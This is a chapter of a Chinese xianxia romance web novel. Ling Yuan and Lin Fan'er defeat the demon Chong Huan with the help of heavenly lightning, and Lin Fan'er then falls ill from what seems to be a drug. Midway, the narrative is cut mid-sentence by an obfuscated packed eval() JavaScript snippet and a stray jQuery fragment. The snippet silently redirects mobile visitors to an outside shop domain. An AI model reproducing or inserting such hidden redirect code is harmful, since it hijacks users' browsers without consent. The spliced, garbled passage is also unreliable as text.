“林姑娘!”
“阿梵?”
凌渊与重焕都是一脸震惊地看着林梵儿,不知她是什么时候清醒过来的。可现在她正瞪着一双圆溜溜的杏眼,双手紧握桃木剑,格住了焦骨剑的剑锋。
“放我下来!”她脸上泛着奇异的潮红,眼神却清亮如水,一如既往中气十足,对凌渊喝出了这句话。
凌渊下意识遵从了她的意志,局势登时反转,她向前踏出一步,挡在了这个废柴神身前。
“重焕哥哥,真的是你!你怎么会变成了这幅样子?”林梵儿口中质疑,持剑的手却极其坚定。
“是啊,阿梵,你终于醒了。刚才我还觉得遗憾,假如我先占了这小子的身体,日后该怎么让你知道我是谁。”重焕撤回剑锋,生青色的脸上现出一抹森然的诡笑,“眼下,倒是省事了。”
林梵儿神色黯然,眼底盛满哀伤:“重焕哥哥,你变成如今这样,是林家对不起你,你想让我怎么偿还都不为过,可你不该牵连无辜之人。”
“阿梵啊阿梵,你还真是一如既往天真的可笑!对不起我的岂止林家,还有这冷酷无情的世道,满心唯利的世人!我从黄泉逆行而来,苦心孤诣修炼成魔,就是为了向这整个世间复仇!阿梵,你听话,乖乖让开,我还能留你多活一刻!”
林梵儿自然寸步不让,持剑遥遥指向他的胸前:“阿焕哥哥,你不要再执迷了。”
重焕冷笑一声,身形骤然一动,焦骨剑冲她直刺而来。
林梵儿抬剑格挡,二人斗在一处,剑势几乎匹敌,接连数招都未分胜负。
凌渊在一旁看着,莫名觉得哪里不对——即便林梵儿手中的桃木剑有辟邪驱魅的功效,可面对着已经成魔的重焕,没有丝毫法力加持,区区木剑不该能将他牵制到这种地步。而且她虽然剑招花俏,乍看很能唬人,实则连凌渊都看得出,她对敌经验寥寥,怕是以前只是当成消遣,粗略练过几分,怎么可能是这魔物的对手!
况且,重焕似乎在有意地避让着她,不叫焦骨剑在她身上落下一处伤口。
很快,林梵儿招势用尽,被他一举挑了手中的剑。而后,黑色的剑光把桃木剑劈得粉碎。
饶是如此,接下来重焕依旧没有下重手,只是把骨爪探向她的胳膊,看样子是想将她生擒。
凌渊恍然,他可不认为这狡诈凶残的魔是对林梵儿突然心慈手软,那便只有一个解释——
他忽地向前横掠,强势地切入了二人之中,抢先抓住了林梵儿,顺势带她腾空而起,然后精准地把自己的左臂送到了重焕的剑下。
“噗嗤”一声,血花爆开,殷红四溅。
林梵儿被这一幕惊住,不可置信地望向凌渊,恰巧这俊美的贵公子也转眸过来对她一笑,二人完成了一个完美的回旋,落地时双手就势握在一起。
重焕则回身翻落,脚步踉跄不稳,略一怔忡之后,勃然大怒:“你!”
凌渊好以整暇地看着他:“既然是苦心孤诣成魔,那你要我的身体又有何用?大概是有不得不舍弃这副魔躯的理由。
还有,你刚才对我出手,直取灵台,而不伤其他要害。我猜,你不是为了获得一具完美的肉身,而是因为——身为魔的你根本不能伤人!”
重焕的盘算被他叫破,脸上眼里全是不甘,可是功败垂成,还没等他下决心逃跑,一道紫电忽然撕裂了浓黑的夜幕,雷霆相随奔涌而下,直冲这座小院而来。
天威凌空倾泻,结界刹那崩碎,而后声势不减,朝着魔物的头顶悍然劈落。
重焕一双猩红瞳仁骤然紧缩,不在迟疑望风而逃,可惜天雷煌煌岂同儿戏,他连十步都没能踏出,就被白金色的光芒淹没了。
与此同时,凌渊也立刻拉着林梵儿急退,他们背后一丈开外就是卧房,可是时间已经来不及了。
匆忙之间,他把林梵儿向自己怀中一带,双臂合抱护住二人头脸,顺势向前一滚。
“轰”的一声,他们撞开木门,踉跄奔进了室内,林梵儿还没来得及回神,凌渊又带她连滚几圈避到了墙下。
就在这一刻,惊雷余波席卷而来,狠狠拍在了青砖之上。
好在只有这一道雷霆,诛魔之后残势不足,遇到阻碍后就此消散,只是把木制的门窗震成了碎屑。
林梵儿依旧蜷缩在凌渊怀中,片刻后才懵然抬头,第一眼看到的,就是他鲜血淋漓的伤口。
而后,就是他近乎完美的侧颜。从这个角度看,他的一双唇饱满红润,最为惹眼。
而当他垂头看她时,那双暖玉一般的眸子也令她全身一震。
“咚!”林梵儿听到自己的心脏重重一跳,一股奇异的酥麻感由此涌向四肢百骸。
她匆匆别开视线,转头望向院中时,霎时悚然一惊,什么旖旎的感觉都消散无踪了。
只见石桌已经变成了无数的碎块,铺地的青砖也被成片地掀起炸飞,入目赫然一片焦土。而被这道惊雷诛灭的重焕,似乎连一块血肉骨殖都没有残留下,地上只躺着那把焦骨黑剑,剑锋从中而断,好像被腰斩的恶徒一般。
“他……他死了吗?”林梵儿轻声问。
凌渊也不确定,照理天雷之下,邪魔必诛,可他到底没有亲眼看到那魔物化作飞灰的模样,不敢妄断。可是为了安她的心,遂道:“尸骨无存了。”
林梵儿定定地望着断剑:“不,那就是他的骨。”
凌渊:“……?”
他开始担心林梵儿因为接受不了这接二连三迟来的打击,尤其是重焕以身赴熔炉的真相,还有林氏铸剑背后,那血腥的事实,所以现在难免会有些不理智。
他甚至有些侥幸地想,或许刚才她一直醉酒不醒,恰好错过了重焕述及的那段往事,这样一来,她或许能稍稍宽怀一些。
林梵儿默默起身,去院中拾起了断剑托在手中。凌渊本来担心剑上会遗留魔息,对她有害。谁知凑近一看,果然就如她所说,那根本不是什么剑,分明就是一根人骨!
魔息已经被天雷劈得分毫不剩,那根骨殖遍体焦黑,残留着烈火焚灼的痕迹——林氏的孽,由此昭彰,再也不能自欺欺人。
望着她失魂落魄、心灰意冷的眼神,凌渊已经知道了答案,不禁长叹一声:“需要我暂避,给你一些时间吗?”
林梵儿摇了摇头,取出了一尺白练,一点点将那骨殖包好,收入了乾坤囊中,口中喃喃:“他是素川人氏,以前曾经对我说过,若终有一死,他想返葬故里,叶落归根。”
凌渊明白了:“好!我陪你去。”
林梵儿抬头看着他,本想道一句谢,可脑中一时清醒一时模糊,那种莫名的酥麻感再度浮现,转作焦躁与灼热升腾而起,胸口随之剧痛,喉咙发痒,她压抑不住,忽地吐出一口黑血,脸色也迅速灰败了下去。
凌渊:“!”
赶在她软倒之前,凌渊一把将人接在怀中,可是在她耳畔大喊了几声都没有任何回应。他不由心急如焚,把人打横抱起,匆匆跑向室内。
短短几步路,姑娘家身量纤纤,委实算不得重,可把她安置到床榻之后,凌渊还是累得气喘吁吁,他一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836756|211465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手按在床边撑住身体的重量,热汗已经遍布全身,出了一层又一层。
左胸那里又传来了剧痛,呼吸壅窒,凌渊心中清楚,今夜消耗过甚,心疾反扑,这具羸弱的肉身已经不堪重负。可是,林梵儿不知为何成了这副模样,一时间哪里再去找为他金针急救、煎煮送药的人呢?
饶是自顾不暇,他依旧聚起仅剩的本源之力,握住了林梵儿的脉门。
春为四季之首,有着一元复始、万象更新的蓬勃盎然,春神之力由此蕴含巨大的生机,可对于凡人而言或许不堪其重,他一面小心翼翼地把灵力凝成一线输送至她的体内,一面咬牙强忍着心口的剧痛。
林梵儿的脸色以肉眼可见的速度恢复如初,须臾间就泛起了潮红,体温急遽上升。凌渊以为是春神之力过于刚猛,当即便要收功,谁知床上的林梵儿双眼紧闭,却反手扣住了他的手腕,一股略带霸道的力量反送回来,顷刻之间便没入了他的体内,顺着经脉快速游走,直抵心脏。
凌渊本能地想要抗拒,可是他本源受损、旧疾复发,一时间无论是体力还是灵力,竟连一个姑娘都无法抗衡,顿时羞愤欲死。
奇迹般的,那股力量竟抚平了他的心痛,窒息感随之而逝,整个人都觉得轻快了不少。
更加奇异的是,林梵儿身上忽然飘散出了一股幽幽的莲香,虽清淡缥缈、隐隐绰绰,却让他的精神为之一震。
凌渊只觉这香气似曾相识,却想不起究竟在哪里遇到过,一时怔忡,居然忘了挣开那只手。
忽地,林梵儿口中溢出了一声嘤咛,她纤长的羽睫如同蝶翼般颤抖不休,杏唇微张,似乎要说什么。
但那声音实在太低,飘忽间难以分辨,落入耳中,仿佛呻//吟一般。
“林姑娘,你想说什么?”
“……水……”
以凌渊那不俗的耳力,也不过只听清了这一个字,他拧眉思索片刻:“是要喝水吗?你松开手,我去取。”
林梵儿果然放开了手,他立刻舒了一口气,转身取来了桌上的茶壶,斟满了凑到她的唇边。
要论照顾人,他委实差了些火候,那壶茶已经放置了很久,他不但没有发现水凉透,更是直接把满满一杯水喂给了仰卧的人。
“咳咳咳咳!”
林梵儿被半杯水呛住,咳嗽不停,另外半杯因为他一时手抖,全都泼洒在了她的身上,顿时把胸前湮湿一大片。
“对不住!对不住!”他连忙道歉,后知后觉地把她扶起来靠在自己身上,替她拍背止咳。
或许是被那半杯凉水刺激了精神,林梵儿终于挣扎着,睁开了眼睛。
但那双往日总是神采奕奕的杏目失去了光泽,她茫然四顾,好一会儿才发现自己竟与凌渊靠得如此之近,立刻向后一缩,心中反倒生出了更多难以言喻的渴望。
“水……给我水!”她努力说着,把手探向了自己的腰间。
凌渊这才意识到误会了她的意思,连忙问:“什么水?”
林梵儿浑身燥热,衣裙贴在肌肤上,如同困住自由的枷锁一般,但她的意志何其坚定,即使这种时候,也挣扎出了一分清明:“我要……沐……沐浴的……冷……冷水!”
凌渊终于反应过来,顿时觉得靠在怀中的这副温香暖玉是块烫手的山芋。
——春神大人以往虽然不食人间烟火,却绝对不是心如磐石的木雕泥塑,再加上他司掌万物萌发、情起如火的春季,对人族这生息繁衍,自然也有涉猎。
林梵儿她,仿佛中了一种不大好说的药……